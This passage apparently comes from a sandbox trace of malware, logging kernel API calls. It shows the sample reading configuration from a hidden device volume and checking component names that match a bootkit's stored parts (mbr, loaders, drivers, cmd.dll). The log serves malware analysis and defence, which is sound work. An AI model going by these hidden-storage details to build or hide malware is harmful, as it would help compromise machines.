AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.498] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.498] IdePortDispatch () returned 0x103 [0119.499] KeWaitForMutexObject () returned 0x0 [0119.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.499] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.499] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.499] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.499] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.499] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bafb30 [0119.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.499] KeLeaveCriticalRegion () [0119.499] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.499] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.499] KeEnterCriticalRegion () [0119.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.499] KeLeaveCriticalRegion () [0119.499] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.499] KeEnterCriticalRegion () [0119.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.499] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.499] IdePortDispatch () returned 0x103 [0119.499] KeWaitForMutexObject () returned 0x0 [0119.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.499] KeLeaveCriticalRegion () [0119.499] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.499] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.499] KeEnterCriticalRegion () [0119.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d99000 [0119.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.500] IdePortDispatch () returned 0x103 [0119.500] KeWaitForMutexObject () returned 0x0 [0119.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.500] IdePortDispatch () returned 0x103 [0119.500] KeWaitForMutexObject () returned 0x0 [0119.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.500] KeLeaveCriticalRegion () [0119.500] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.500] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.501] KeEnterCriticalRegion () [0119.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.501] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.501] KeLeaveCriticalRegion () [0119.501] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.501] KeEnterCriticalRegion () [0119.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.501] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.501] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.501] KeLeaveCriticalRegion () [0119.501] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.501] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.501] KeEnterCriticalRegion () [0119.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.501] ExFreePoolWithTag (P=0xfffffa8003bafb30, Tag=0x0) [0119.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.501] KeLeaveCriticalRegion () [0119.501] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.501] ReleaseMutex (hMutex=0xf0) returned 1 [0119.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.501] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.501] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.501] KeEnterCriticalRegion () [0119.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.501] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.501] IdePortDispatch () returned 0x103 [0119.501] KeWaitForMutexObject () returned 0x0 [0119.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.501] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.501] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.501] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.501] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.501] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa19f0 [0119.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.502] KeLeaveCriticalRegion () [0119.502] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.502] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.502] KeEnterCriticalRegion () [0119.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.502] KeLeaveCriticalRegion () [0119.502] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.502] KeEnterCriticalRegion () [0119.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.502] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.502] IdePortDispatch () returned 0x103 [0119.502] KeWaitForMutexObject () returned 0x0 [0119.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.502] KeLeaveCriticalRegion () [0119.502] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.502] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.502] KeEnterCriticalRegion () [0119.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9a000 [0119.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.502] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.502] IdePortDispatch () returned 0x103 [0119.503] KeWaitForMutexObject () returned 0x0 [0119.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.503] IdePortDispatch () returned 0x103 [0119.503] KeWaitForMutexObject () returned 0x0 [0119.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.503] KeLeaveCriticalRegion () [0119.503] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.503] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.503] KeEnterCriticalRegion () [0119.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.503] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.503] KeLeaveCriticalRegion () [0119.504] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.504] KeEnterCriticalRegion () [0119.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.504] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.504] KeLeaveCriticalRegion () [0119.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.504] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.504] KeEnterCriticalRegion () [0119.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.504] ExFreePoolWithTag (P=0xfffffa8003aa19f0, Tag=0x0) [0119.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.504] KeLeaveCriticalRegion () [0119.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.504] ReleaseMutex (hMutex=0xf0) returned 1 [0119.504] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.504] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.504] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.504] KeEnterCriticalRegion () [0119.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.504] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.504] IdePortDispatch () returned 0x103 [0119.504] KeWaitForMutexObject () returned 0x0 [0119.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.504] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.504] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.504] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.504] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.504] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c8540 [0119.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.504] KeLeaveCriticalRegion () [0119.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.505] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.505] KeEnterCriticalRegion () [0119.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.505] KeLeaveCriticalRegion () [0119.505] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.505] KeEnterCriticalRegion () [0119.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.505] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.505] IdePortDispatch () returned 0x103 [0119.506] KeWaitForMutexObject () returned 0x0 [0119.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.506] KeLeaveCriticalRegion () [0119.506] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.506] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.506] KeEnterCriticalRegion () [0119.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9b000 [0119.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.506] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.506] IdePortDispatch () returned 0x103 [0119.506] KeWaitForMutexObject () returned 0x0 [0119.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.507] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.507] IdePortDispatch () returned 0x103 [0119.507] KeWaitForMutexObject () returned 0x0 [0119.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.507] KeLeaveCriticalRegion () [0119.507] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.507] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.507] KeEnterCriticalRegion () [0119.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.507] KeLeaveCriticalRegion () [0119.507] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.507] KeEnterCriticalRegion () [0119.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.507] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.507] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa1c10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.507] KeLeaveCriticalRegion () [0119.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.508] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.508] KeEnterCriticalRegion () [0119.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.508] ExFreePoolWithTag (P=0xfffffa80039c8540, Tag=0x0) [0119.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.508] KeLeaveCriticalRegion () [0119.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.508] ReleaseMutex (hMutex=0xf0) returned 1 [0119.508] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.508] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.508] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.508] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.508] KeEnterCriticalRegion () [0119.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.508] IdePortDispatch () returned 0x103 [0119.508] KeWaitForMutexObject () returned 0x0 [0119.508] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.508] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.508] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.508] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.508] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.508] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.508] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.508] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.508] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.508] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.508] KeLeaveCriticalRegion () [0119.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.509] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.509] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.509] KeEnterCriticalRegion () [0119.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, 